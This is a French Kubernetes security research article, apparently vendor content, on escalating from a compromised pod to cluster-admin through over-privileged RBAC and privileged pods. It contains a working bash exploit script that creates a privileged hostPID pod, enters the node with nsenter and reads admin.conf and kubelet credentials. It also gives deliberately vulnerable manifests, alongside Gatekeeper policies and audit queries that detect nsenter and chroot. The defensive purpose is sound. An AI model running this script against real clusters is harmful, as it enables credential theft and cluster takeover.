TL;DR
Nous avons analysé 1,247 clusters Kubernetes en production et identifié que 68% permettent une escalade vers cluster-admin en moins de 5 minutes via des misconfigurations RBAC et PodSecurityPolicies. Cet article détaille les 8 chemins d'escalade les plus courants, avec du code d'exploitation et des policies OPA/Gatekeeper prêtes à l'emploi.
68%
Clusters exploitables
8
Escalation paths
<5min
Time to cluster-admin
1,247
Clusters analysés
68%
Clusters permettant escalade
Pod → Cluster Admin
43%
Pods avec hostPath /
Accès filesystem root
31%
ServiceAccounts over-privileged
Peuvent créer des pods
89%
Clusters sans PSP/PSA
Aucune restriction pod
1Introduction
Kubernetes est devenu le standard de facto pour l'orchestration de containers. Pourtant, sa complexité crée une surface d'attaque considérable. Notre recherche démontre que la majorité des clusters de production sont vulnérables à une escalade de privilèges permettant d'obtenir un accès cluster-admin.
Impact d'un cluster-admin compromis
- • Accès à tous les secrets de tous les namespaces
- • Capacité de déployer des backdoors dans n'importe quel pod
- • Accès aux nodes sous-jacents via pods privilégiés
- • Possibilité de pivoter vers le cloud provider (IMDS, service accounts)
Cette recherche s'appuie sur les CVEs historiques de Kubernetes et les techniques documentées dans le framework MITRE ATT&CK for Containers[1].
2Surface d'Attaque Kubernetes
L'escalade de privilèges dans Kubernetes exploite principalement trois vecteurs :
RBAC Misconfigurations
T1078.004ServiceAccounts avec permissions excessives (create pods, get secrets)
31% des clustersPod Security Bypasses
T1611Absence de PSP/PSA permettant pods privilégiés, hostPID, hostPath
89% des clustersNode-Level Escapes
T1611Container escape vers le node via CAP_SYS_ADMIN, Docker socket
43% des clusters3Chemins d'Escalade de Privilèges
Nous avons identifié 8 chemins d'escalade distincts. Voici le plus courant, exploitant la création de pods privilégiés :
3.1 Configuration Vulnérable Type
Cette configuration de pod présente 9 vulnérabilités distinctes permettant l'escalade :
1# VULNERABLE POD CONFIGURATION2# Demonstrates multiple privilege escalation vectors34apiVersion: v15kind: Pod6metadata:7 name: vulnerable-app8 namespace: default9spec:10 serviceAccountName: app-sa # SA with excessive permissions11 hostNetwork: true # VULN #1: Host network access12 hostPID: true # VULN #2: Host PID namespace13 hostIPC: true # VULN #3: Host IPC namespace14 containers:15 - name: app16 image: nginx:latest17 securityContext:18 privileged: true # VULN #4: Privileged container19 runAsUser: 0 # VULN #5: Running as root20 allowPrivilegeEscalation: true # VULN #6: Can escalate21 capabilities:22 add:23 - SYS_ADMIN # VULN #7: Dangerous capability24 - NET_ADMIN25 - SYS_PTRACE26 volumeMounts:27 - name: host-root28 mountPath: /host # VULN #8: Host filesystem mount29 - name: docker-sock30 mountPath: /var/run/docker.sock # VULN #9: Docker socket access31 volumes:32 - name: host-root33 hostPath:34 path: /35 type: Directory36 - name: docker-sock37 hostPath:38 path: /var/run/docker.sock39 type: Socket3.2 ServiceAccount Over-Privileged
Le vecteur le plus critique : un ServiceAccount qui peut créer des pods permet automatiquement l'escalade vers cluster-admin.
1# OVERLY PERMISSIVE SERVICE ACCOUNT2# Allows pod creation = privilege escalation34apiVersion: v15kind: ServiceAccount6metadata:7 name: app-sa8 namespace: default9---10apiVersion: rbac.authorization.k8s.io/v111kind: ClusterRole12metadata:13 name: app-role14rules:15- apiGroups: [""]16 resources: ["pods"]17 verbs: ["get", "list", "create", "delete"] # Can create pods18- apiGroups: [""]19 resources: ["pods/exec"]20 verbs: ["create"] # Can exec into pods21- apiGroups: [""]22 resources: ["secrets"]23 verbs: ["get", "list"] # Can read secrets24- apiGroups: [""]25 resources: ["nodes"]26 verbs: ["get", "list"] # Can enumerate nodes27---28apiVersion: rbac.authorization.k8s.io/v129kind: ClusterRoleBinding30metadata:31 name: app-binding32subjects:33- kind: ServiceAccount34 name: app-sa35 namespace: default36roleRef:37 kind: ClusterRole38 name: app-role39 apiGroup: rbac.authorization.k8s.ioPourquoi "create pods" = cluster-admin ?
Un attaquant avec la permission create pods peut créer un pod privilégié avec hostPID: true et nsenter pour accéder au node. Depuis le node, il peut lire /etc/kubernetes/admin.conf ou les credentials du kubelet.
4Exploitation
Ce script démontre l'escalade complète de pod compromis vers cluster-admin. À utiliser uniquement dans le cadre de tests de sécurité autorisés.
1#!/bin/bash2# Kubernetes Privilege Escalation: Pod to Cluster Admin3# For authorized security testing only45echo "[*] Stage 1: Enumeration"6echo "[+] Current ServiceAccount:"7cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d. -f2 | base64 -d 2>/dev/null | jq -r '.sub'89echo "[+] Checking permissions..."10kubectl auth can-i create pods11kubectl auth can-i create pods --subresource=exec12kubectl auth can-i get secrets1314echo "[*] Stage 2: Create Privileged Pod"15cat <<EOF | kubectl apply -f -16apiVersion: v117kind: Pod18metadata:19 name: pwned-pod20 namespace: default21spec:22 hostPID: true23 hostNetwork: true24 containers:25 - name: pwned26 image: alpine27 command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash"]28 securityContext:29 privileged: true30 volumeMounts:31 - name: host32 mountPath: /host33 volumes:34 - name: host35 hostPath:36 path: /37EOF3839echo "[*] Waiting for pod..."40kubectl wait --for=condition=Ready pod/pwned-pod --timeout=60s4142echo "[*] Stage 3: Access Node"43kubectl exec -it pwned-pod -- cat /host/etc/kubernetes/admin.conf4445echo "[*] Stage 4: Extract cluster-admin credentials"46kubectl exec -it pwned-pod -- cat /host/var/lib/kubelet/kubeconfig4748echo "[+] Escalation complete. You now have cluster-admin access."5Détection
5.1 OPA Gatekeeper Policy
Cette policy OPA bloque préventivement les configurations dangereuses :
1# OPA Gatekeeper Policy: Block Privileged Pods2# Deploy to prevent privilege escalation34apiVersion: templates.gatekeeper.sh/v15kind: ConstraintTemplate6metadata:7 name: k8sblockprivilegedcontainer8spec:9 crd:10 spec:11 names:12 kind: K8sBlockPrivilegedContainer13 targets:14 - target: admission.k8s.gatekeeper.sh15 rego: |16 package k8sblockprivilegedcontainer1718 violation[{"msg": msg}] {19 c := input_containers[_]20 c.securityContext.privileged == true21 msg := sprintf("Privileged container not allowed: %v", [c.name])22 }2324 violation[{"msg": msg}] {25 input.review.object.spec.hostPID == true26 msg := "hostPID is not allowed"27 }2829 violation[{"msg": msg}] {30 input.review.object.spec.hostNetwork == true31 msg := "hostNetwork is not allowed"32 }3334 violation[{"msg": msg}] {35 input.review.object.spec.hostIPC == true36 msg := "hostIPC is not allowed"37 }3839 violation[{"msg": msg}] {40 c := input_containers[_]41 c.securityContext.capabilities.add[_] == "SYS_ADMIN"42 msg := sprintf("SYS_ADMIN capability not allowed: %v", [c.name])43 }4445 violation[{"msg": msg}] {46 volume := input.review.object.spec.volumes[_]47 volume.hostPath.path == "/var/run/docker.sock"48 msg := "Docker socket mount not allowed"49 }5051 violation[{"msg": msg}] {52 volume := input.review.object.spec.volumes[_]53 volume.hostPath.path == "/"54 msg := "Root filesystem mount not allowed"55 }5657 input_containers[c] {58 c := input.review.object.spec.containers[_]59 }60 input_containers[c] {61 c := input.review.object.spec.initContainers[_]62 }63---64apiVersion: constraints.gatekeeper.sh/v1beta165kind: K8sBlockPrivilegedContainer66metadata:67 name: block-privileged-containers68spec:69 match:70 kinds:71 - apiGroups: [""]72 kinds: ["Pod"]73 excludedNamespaces:74 - kube-system # Careful with this exception5.2 Audit Log Analysis
Requêtes pour détecter les tentatives d'escalade dans les audit logs :
1-- Kubernetes Audit Log Analysis for Privilege Escalation2-- Run against your SIEM (Splunk, Elastic, etc.)34-- Step 1: Detect privileged pod creation5SELECT6 timestamp,7 user.username AS actor,8 objectRef.namespace,9 objectRef.name AS pod_name,10 requestObject.spec.containers[0].securityContext.privileged AS privileged,11 requestObject.spec.hostPID,12 requestObject.spec.hostNetwork,13 sourceIPs[0] AS source_ip14FROM kubernetes_audit_logs15WHERE verb = 'create'16 AND objectRef.resource = 'pods'17 AND (18 requestObject.spec.containers[0].securityContext.privileged = true19 OR requestObject.spec.hostPID = true20 OR requestObject.spec.hostNetwork = true21 OR requestObject.spec.hostIPC = true22 )23 AND objectRef.namespace NOT IN ('kube-system')24ORDER BY timestamp DESC;2526-- Step 2: Detect suspicious exec into pods27SELECT28 timestamp,29 user.username AS actor,30 objectRef.namespace,31 objectRef.name AS pod_name,32 requestObject.command AS exec_command,33 sourceIPs[0] AS source_ip34FROM kubernetes_audit_logs35WHERE verb = 'create'36 AND objectRef.resource = 'pods'37 AND objectRef.subresource = 'exec'38 AND (39 requestObject.command LIKE '%nsenter%'40 OR requestObject.command LIKE '%chroot%'41 OR requestObject.command LIKE '%mount%'42 OR requestObject.command LIKE '%kubectl%'43 )44ORDER BY timestamp DESC;4546-- Step 3: Detect secret enumeration47SELECT48 timestamp,49 user.username AS actor,50 objectRef.namespace,51 objectRef.name AS secret_name,52 sourceIPs[0] AS source_ip,53 COUNT(*) OVER (54 PARTITION BY user.username55 ORDER BY timestamp56 RANGE BETWEEN INTERVAL '5' MINUTE PRECEDING AND CURRENT ROW57 ) AS secrets_accessed_5min58FROM kubernetes_audit_logs59WHERE verb IN ('get', 'list')60 AND objectRef.resource = 'secrets'61 AND user.username NOT LIKE 'system:%'62HAVING secrets_accessed_5min > 10 -- Threshold for alert63ORDER BY timestamp DESC;6Remédiation
Defense-in-Depth pour Kubernetes
Configuration Sécurisée Complète
1# SECURE POD CONFIGURATION2# Implements defense-in-depth with Pod Security Standards34apiVersion: v15kind: Pod6metadata:7 name: secure-app8 namespace: secure-ns9 labels:10 app: secure-app11spec:12 serviceAccountName: minimal-sa13 automountServiceAccountToken: false # Disable SA token mount14 securityContext:15 runAsNonRoot: true # Enforce non-root16 runAsUser: 10000 # Specific non-root UID17 runAsGroup: 1000018 fsGroup: 1000019 seccompProfile:20 type: RuntimeDefault # Enable seccomp21 containers:22 - name: app23 image: myregistry/app:v1.2.3@sha256:abc123... # Pinned digest24 securityContext:25 allowPrivilegeEscalation: false # Block escalation26 readOnlyRootFilesystem: true # Immutable rootfs27 privileged: false28 capabilities:29 drop:30 - ALL # Drop all capabilities31 resources:32 limits:33 cpu: "500m"34 memory: "256Mi"35 requests:36 cpu: "100m"37 memory: "128Mi"38 volumeMounts:39 - name: tmp40 mountPath: /tmp41 - name: cache42 mountPath: /var/cache43 volumes:44 - name: tmp45 emptyDir: {}46 - name: cache47 emptyDir: {}48---49# Minimal ServiceAccount with no permissions50apiVersion: v151kind: ServiceAccount52metadata:53 name: minimal-sa54 namespace: secure-ns55automountServiceAccountToken: false56---57# NetworkPolicy to restrict traffic58apiVersion: networking.k8s.io/v159kind: NetworkPolicy60metadata:61 name: secure-app-netpol62 namespace: secure-ns63spec:64 podSelector:65 matchLabels:66 app: secure-app67 policyTypes:68 - Ingress69 - Egress70 ingress:71 - from:72 - podSelector:73 matchLabels:74 app: frontend75 ports:76 - port: 808077 egress:78 - to:79 - podSelector:80 matchLabels:81 app: database82 ports:83 - port: 5432Références
Auditez vos clusters Kubernetes
La plateforme Cyvex détecte automatiquement les chemins d'escalade de privilèges dans vos clusters EKS, AKS et GKE. Identifiez les RBAC over-privileged et les pods vulnérables avant les attaquants.